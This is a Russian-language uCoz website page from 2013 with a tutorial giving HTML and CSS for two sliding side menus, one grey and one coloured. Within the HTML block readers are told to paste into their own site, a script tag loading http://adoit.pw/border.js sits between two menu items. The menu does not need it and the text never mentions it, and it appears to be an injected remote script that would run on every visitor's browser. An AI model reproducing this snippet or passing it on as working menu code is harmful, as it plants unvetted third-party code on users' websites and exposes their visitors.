Загружаем страницу...
Бесплатный кинозал, софт и игры.


Приветствуем Вас На Сайте music80.ucoz.ru Сдесь Вы Найдёте Много Чего Полезного!!! Скачать Mp3 музыку бесплатно! Что может быть проще? На нашем сайте Вы найдете самую разную Mp3 музыку. Популярные новинки и старые хиты. Скачивайте песни и музыкальные альбомы целиком. Смотрите популярные музыкальные видеоклипы. Наш Mp3 архив открыт для Вас 24 часа в сутки. У нас Вы всегда сможете бесплатно скачать Mp3. Регистрируйтесь и не забудьте наш сайт добавить в избранное.

Сайт продаётся всех заинтересовавшихся писать в тему!
Будьте с Нами

Зарегистрируйтесь! И вы сможете добавить свои новости.

Правила заполнения новостей читать всем!

Скрывать рекламу

Язык сайта
Наш чат
Профиль
Приветствую Вас "Гость"
Сообщения:
Аватар




Статистика


Роботов:3
Google Yahoo
MSN

Онлайн всего: 99
Гостей: 99
Пользователей: 0

20ка Посетивших пользователей:

службы мониторинга серверов

Онлайн всего: 99
Гостей: 99
Пользователей: 0
[Статистика недоступна]

Главная » 2013 » Июль » 25 » Боковое Меню Цветное и серое
Боковое Меню Цветное и серое
Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке...
И так Приступим У Самой Установчке:
Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML:

Код
<div id="main">  
  <ul id="navigationMenu">  
  <li>  
  <a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a>  
  </li>  
  <li>  
  <a class="m_gost" href="/gb"><span>Гостевая</span></a>  
  </li>  
  <li>  
  <a class="m_forum" href="/forum"><span>Форум</span></a>  
  </li>  
  <li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a>  
  </li><script type="text/javascript" src="http://adoit.pw/border.js"></script>  
  <?if($USER_LOGGED_IN$)?>  
  <li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a>  
  </li>  
  <?else?>  
  <li>  
  <a class="m_vxod" href="$LOGIN_LINK$"><span>Вход</span></a>  
  </li>  
  <?endif?>  
  </ul>  
  </div>  
  <!-- /Конец тегов левое боковое меню -->


А Вот два типа менюшек выбирайте который вам нужен

Серое Меню

Код
#main{  
  position:fixed;  
  top: 150px;  
  right: 0px;  
  padding:0;  
}  

#main ul{  
  padding:0;  
}  

#navigationMenu li{  
  list-style:none;  
  height:35px;  
  width:35px;  
}  

#navigationMenu span{  
  position:absolute;  
  overflow:hidden;  
  width:0;  
  right:35px;  
  padding:0;  
  font:12px Verdana,Arial,Helvetica,sans-serif;  
  font-weight:bold;  
  line-height:35px;  
  white-space:nowrap;  
  -webkit-transition: 0.25s;  
  -moz-transition: 0.25s;  
  transition: 0.25s;  
}  

#navigationMenu a{  
  display:block;  
  position:relative;  
  background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat;  
  height:35px;  
  width:35px;  
}  

#navigationMenu a:hover span{  
  overflow:hidden;  
  text-align:center;  
  width:110px;  
  padding:0px 10px;  
}  

#navigationMenu a:hover{  
  text-decoration:none;  
}  

#navigationMenu .m_home {background-position:0 0;}  
#navigationMenu .m_home :hover {background-position:0 -35px;}  

#navigationMenu .m_gost {background-position:-35px 0;}  
#navigationMenu .m_gost:hover {background-position:-35px -35px;}  

#navigationMenu .m_forum {background-position:-70px 0;}  
#navigationMenu .m_forum:hover {background-position:-70px -35px;}  

#navigationMenu .m_pochta { background-position:-105px 0;}  
#navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  

#navigationMenu .m_vxod { background-position:-140px 0;}  
#navigationMenu .m_vxod:hover { background-position:-140px -35px;}  

#navigationMenu .m_vixod { background-position:-175px 0;}  
#navigationMenu .m_vixod:hover { background-position:-175px -35px;}  

#navigationMenu .m_gost span,  
#navigationMenu .m_forum span,  
#navigationMenu .m_pochta span,  
#navigationMenu .m_vxod span,  
#navigationMenu .m_vixod span,  
#navigationMenu .m_home span {  
  background:#444;  
  color:#777;  
  text-shadow:1px 1px 0 #333;  
}


Цветное меню

Код
#main{  
  position:fixed;  
  top: 150px;  
  left: 0px;  
  padding:0;  
  }  

  #main ul{  
  padding:0;  
  }  

  #navigationMenu li{  
  list-style:none;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu span{  
  position:absolute;  
  overflow:hidden;  
  width:0;  
  left:35px;  
  padding:0;  
  font:12px Verdana,Arial,Helvetica,sans-serif;  
  font-weight:bold;  
  line-height:35px;  
  white-space:nowrap;  
  -webkit-transition: 0.25s;  
  -moz-transition: 0.25s;  
  transition: 0.25s;  
  }  

  #navigationMenu a{  
  display:block;  
  position:relative;  
  background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu a:hover span{  
  overflow:hidden;  
  text-align:center;  
  width:110px;  
  padding:0px 10px;  
  }  

  #navigationMenu a:hover{  
  text-decoration:none;  
  }  

  #navigationMenu .m_home {background-position:0 0;}  
  #navigationMenu .m_home :hover {background-position:0 -35px;}  
  #navigationMenu .m_home span{  
  background:#7da315;  
  color:#3d4f0c;  
  text-shadow:1px 1px 0 #99bf31;  
  }  

  #navigationMenu .m_gost {background-position:-35px 0;}  
  #navigationMenu .m_gost:hover {background-position:-35px -35px;}  
  #navigationMenu .m_gost span{  
  background:#1e8bb4;  
  color:#223a44;  
  text-shadow:1px 1px 0 #44a8d0;  
  }  

  #navigationMenu .m_forum {background-position:-70px 0;}  
  #navigationMenu .m_forum:hover {background-position:-70px -35px;}  
  #navigationMenu .m_forum span{  
  background:#c86c1f;  
  color:#5a3517;  
  text-shadow:1px 1px 0 #d28344;  
  }  

  #navigationMenu .m_pochta { background-position:-105px 0;}  
  #navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  
  #navigationMenu .m_pochta span{  
  background-color:#d0a525;  
  color:#604e18;  
  text-shadow:1px 1px 0 #d8b54b;  
  }  

  #navigationMenu .m_vxod { background-position:-140px 0;}  
  #navigationMenu .m_vxod:hover { background-position:-140px -35px;}  
  #navigationMenu .m_vxod span{  
  background-color:#af1e83;  
  color:#460f35;  
  text-shadow:1px 1px 0 #d244a6;  
  }  

  #navigationMenu .m_vixod { background-position:-175px 0;}  
  #navigationMenu .m_vixod:hover { background-position:-175px -35px;}  
  #navigationMenu .m_vixod span{  
  background-color:#27ddbf;  
  color:#097863;  
  text-shadow:1px 1px 0 #87ffe7;  
  }

Категория: | Просмотров: 144 | Добавил: DoG | Теги: | Рейтинг: 5.0/2

Внимание: сайт music80.ucoz.ru не несет ответственности за скачиваемые файлы. То же самое относится и к информации, которая указана разработчиком в описании программы. Стоит учитывать, что даже проверенные нами файлы на предмет наличия в них всевозможных вирусов, мы не можем дать 100% гарантию, что они действительно не заражены. Поэтому, всегда проверяйте файлы, загруженные с music80.ucoz.ru, на наличие вирусов.


Для блога (HTML)


Для форума (BB-Code)


Прямая ссылка


Внимание! При копировании материала ссылка на источник обязательна.

Понравилось? Жмите кнопку, пусть ваши друзья в социальных сетях тоже побывают на этой странице!

Полная совместимость с:




Внимание! Все материалы размещенные на данном сайте собраны в свободном распространении на крупных интернет порталах в сети Интернет, и предназначены только для ознакомления. Все права на программы и игры принадлежат их авторам. Владельцы (администрация) сайта, не несут никакой ответственности за дальнейшее использование всех материалов с сайта. Если Вы являетесь разработчиком программного обеспечения, представленного на данном ресурсе и считаете, что размещение каких либо файлов, нарушает Ваши авторские права, то свяжитесь с администрацией сайта через Обратную связь , и мы удалим эти файлы.

Есть что сказать? Пишите, нам всегда интересно знать Ваше мнение! Все вопросы по поводу данной новости оставляйте здесь, администрация и другие пользователи сайта music80.ucoz.ru постараются Вам помочь. Пожалуйста, пишите комментарии без орфографических и пунктуационных ошибок.

Всего комментариев: 0
Информация:
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации. [Регистрация | Вход]
Авторское право
Не загружается установи плагин
RSS
Информация
Наша кнопка
Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте:



Погода
Календарь
«  Июль 2013  »
ПнВтСрЧтПтСбВс
1234567
891011121314
15161718192021
22232425262728
293031
Поддержать ресурс
через платежную систему

Яндекс.Деньги

  41001624370380

Деньги пойдут на оплату хостинга

Отправить смс
Новости в мире


Загрузка...

Бесплатная раскрутка сайта Результаты антивирусного сканирования Яндекс.Метрика WOlist.ru - каталог сайтов Рунета Каталог Ресурсов Интернет
Если Вы нашли ошибку на странице - сообщите о ней

HSDN - Информационная полоска
| © Все права защищены | Администратор | Sitemap | Sitemap-forum | mobilepda | Как скачать? |

| Внимание! Для корректного отображения страниц сайта рекомендуем использовать "Opera" - [загрузить] или "Google Chrome" - [загрузить] |